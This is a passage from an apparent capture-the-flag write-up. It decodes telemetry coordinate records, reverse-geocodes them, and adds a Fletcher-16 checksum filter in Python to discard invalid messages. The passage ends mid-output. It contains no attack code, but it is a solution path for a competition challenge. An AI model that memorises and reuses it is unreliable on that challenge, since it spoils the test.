חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.581, 35.848) خربة روحا, قضاء راشيا, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.352, 35.694) الهبارية, قضاء حاصبيا, محافظة النبطية, 1704, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.272, 35.478) عدشيت‎, قضاء مرجعيون, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.937, 35.858) 98, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.084, 35.914) Zubaydah (East), ناحية القنيطرة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.642, 35.374) صيدا, قضاء صيدا, محافظة الجنوب, 1600, لبنان (لبنان) CoordinateRecord(33.006, 35.228) 8833, עין יעקב, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.509, 35.442) كفر حتى, قضاء صيدا, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.881, 35.047) ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.675, 35.073) Unknown location (Unable to geocode) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.594, 35.615) باتر, قضاء الشوف, محافظة جبل لبنان, لبنان (لبنان) CoordinateRecord(33.282, 35.074) صور, قضاء صور, محافظة الجنوب, 1601, لبنان (لبنان) CoordinateRecord(33.246, 35.608) מועצה אזורית גליל עליון, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.147, 35.700) 123, 959, ברוכים, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.557, 35.208) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.187, 35.107) صور, قضاء صور, محافظة الجنوب, 1601, لبنان (لبنان) CoordinateRecord(33.765, 35.594) كفر عمي, قضاء عاليه, محافظة جبل لبنان, 1501, لبنان (لبنان) CoordinateRecord(33.648, 35.260) صيدا, قضاء صيدا, محافظة الجنوب, 1600, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.312, 35.453) علمان‎, قضاء النبطية, محافظة النبطية, لبنان (لبنان) CoordinateRecord(33.232, 35.607) מעיין ברוך, מועצה אזורית גליל עליון, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.680, 35.920) الصويري, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.437, 35.383) مروانية, قضاء صيدا, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.791, 35.185) شفا عمرو, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.882, 35.305) 8056, מועצה אזורית משגב, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.380, 35.930) عين الشعرة, ناحية بيت جن, منطقة قطنا, محافظة ريف دمشق, سوريا (سوريا) CoordinateRecord(32.989, 35.861) מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.624, 35.695) عين زبدة, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.151, 35.884) صمدانية, ناحية القنيطرة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.275, 35.348) باريش, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.966, 35.149) 70, أبو سنان, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.994, 35.775) 87, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.516, 35.425) طنبوريت, قضاء صيدا, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.324, 35.892) بيت جن, ناحية بيت جن, منطقة قطنا, محافظة ريف دمشق, سوريا (سوريا) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.308, 35.255) عين أبو عبد الله, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(33.533, 35.001) Unknown location (Unable to geocode) CoordinateRecord(32.892, 35.248) شعب‎, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.768, 35.937) الفوعة, قضاء زحلة, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.148, 35.503) محيبيب, قضاء مرجعيون, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.100, 35.054) אי תכלת, ישראל (ישראל) CoordinateRecord(33.701, 35.636) كفر نبرخ‎, قضاء الشوف, محافظة جبل لبنان, 1503, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.957, 35.240) 8533, يركا, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.307, 35.375) شحور, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.363, 34.991) لبنان (لبنان) CoordinateRecord(33.068, 35.448) מועצה אזורית גליל עליון, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.891, 35.872) ناحية الخشنية, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.303, 35.332) حلوسية, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.709, 35.156) Unknown location (Unable to geocode) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.323, 35.403) كفر صير, قضاء النبطية, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.881, 35.727) מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, ישראל (ישראל) CoordinateRecord(32.934, 35.402) عين الأسد, מועצה אזורית מרום הגליל, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.294, 35.284) العباسية, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.129, 35.693) 123, 959, ברוכים, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.755, 35.243) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.406, 35.402) النبطية, قضاء النبطية, محافظة النبطية, 1700, لبنان (لبنان) CoordinateRecord(33.219, 35.845) خان أرنبة, ناحية خان ارنبة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.089, 35.322) מועצה אזורית מעלה יוסף, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.161, 35.360) الغربية, صربين, قضاء بنت جبيل, محافظة النبطية, لبنان (لبنان) CoordinateRecord(33.373, 35.836) ناحية خان ارنبة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.617, 35.698) Ain Zebdeh Main Road, عين زبدة, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.873, 35.535) 90, טבח'ה, מועצה אזורית עמק הירדן, נפת כנרת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.990, 35.489) 886, מועצה אזורית מרום הגליל, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.557, 35.316) صيدا, قضاء صيدا, محافظة الجنوب, 1600, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.848, 35.164) 70, طمرة‎, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.899, 35.301) עבירות קשה, מועצה אזורית משגב, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.964, 35.570) الزنغرية, طوبا الزنغرية, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.606, 35.183) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.520, 35.300) قضاء صيدا, العدوسية, قضاء صيدا, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(33.316, 35.068) صور, قضاء صور, محافظة الجنوب, 1601, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.624, 35.949) ينطا, قضاء راشيا, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.799, 35.252) 784, كفر مندا, נפת יזרעאל, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.139, 35.696) ברוכים, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, ישראל (ישראל) CoordinateRecord(32.898, 35.346) الكمانة الشرقية, الكمانة, מועצה אזורית משגב, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.513, 35.280) صيدا, قضاء صيدا, محافظة الجنوب, 1600, لبنان (لبنان) CoordinateRecord(33.657, 35.884) farooj al-asayle, مصنع - طريق راشيا, المصنع, مجدل عنجر, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.854, 35.358) عرابة, נפת כנרת, מחוז הצפון, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.887, 35.864) صيدا - الجولان, ناحية الخشنية, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.013, 35.711) מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, ישראל (ישראל) CoordinateRecord(33.475, 35.465) صربا, قضاء النبطية, محافظة النبطية, 1600, لبنان (لبنان) CoordinateRecord(32.835, 35.349) הבקעה, אבטליון, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.832, 35.333) 7955, מועצה אזורית משגב, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.709, 35.706) Fraidis, قضاء الشوف, محافظة جبل لبنان, لبنان (لبنان) CoordinateRecord(32.926, 35.845) חאן אורחה - חאן ג'וּחָאדֶר, 98, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.489, 35.224) لبنان (لبنان) CoordinateRecord(33.215, 35.482) مجدل سلم, قضاء مرجعيون, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.694, 35.830) Chebreqiyet Aammiq, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.462, 35.043) لبنان (لبنان) CoordinateRecord(32.794, 35.923) Sahem el Jaulan, سحم الجولان, ناحية الشجرة, منطقة درعا, محافظة درعا, سوريا (سوريا) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.926, 35.940) غدير البستان, ناحية الخشنية, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.215, 35.077) صور, قضاء صور, محافظة الجنوب, 1601, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.284, 35.440) القصير, قضاء مرجعيون, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.634, 35.800) جب جنين, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.337, 35.836) ناحية خان ارنبة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(32.999, 34.989) איי שוניות אכזיב, 22100, ישראל (ישראל) CoordinateRecord(33.299, 34.998) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.648, 35.761) Kefraya - Jeb Jannine Road, كفريا, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.747, 35.365) لبنان (لبنان) CoordinateRecord(33.735, 35.325) لبنان (لبنان) CoordinateRecord(33.448, 35.419) عزة, قضاء النبطية, محافظة النبطية, لبنان (لبنان) CoordinateRecord(33.283, 35.578) עיון, מטולה, נפת צפת, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.619, 35.452) كترمايا, قضاء الشوف, محافظة جبل لبنان, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.228, 34.962) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.852, 35.304) مرسان, سخنين, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.325, 35.324) قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(33.709, 35.018) Unknown location (Unable to geocode) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.763, 35.578) مجدليا, قضاء عاليه, محافظة جبل لبنان, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.484, 35.889) ايحه, قضاء راشيا, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.672, 35.832) غزة, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.768, 35.246) لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.508, 35.174) لبنان (لبنان) CoordinateRecord(33.377, 35.334) قضاء النبطية, محافظة النبطية, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) ``` We can see many coordinates pointing to Elbit - which is a good sign since this challenge was written by Elbit. We also see the following record: ``` CoordinateRecord(33.041, 35.302) מערת זוית, 8925, فسوطة, נפת עכו, מחוז הצפון, no, ישראל (ישראל) ``` This is a name of a cave, but it wasn't accepted as the flag. We'll have to keep on looking. One strange thing in the coordinates is that every once in a while we see a coordinate which seems unrelated - from Lebanon or Syria. That's a bit odd. Checking the specs again, they mention a checksum: > Checksum algorithm shall be Fletcher-16. The checksum is calculated Both the ATH and Host shall ignore any message with a bad checksum. Let's filter out messages that have a bad checksum. Fletcher checksum implementation taken from [here](https://github.com/njaladan/hashpy/blob/master/hashpy/fletcherNbit.py). We add a method to `coordinate_tele`: ```python def is_checksum_valid(self): f16 = fletcher.Fletcher16() b = bytes(self)[:coordinate_tele.checksum.offset] f16.update(b) return f16.hexdigest() == hex(self.checksum) ``` And we skip and coordinate that isn't valid: ```python if not coordinate.is_checksum_valid(): continue ``` Now the results that we get are: ```console root@kali:/media/sf_CTFs/technion/Indiana_Jones_and_the_Coded_Cave# python3 solve.py CoordinateRecord(32.788180, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960620) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, 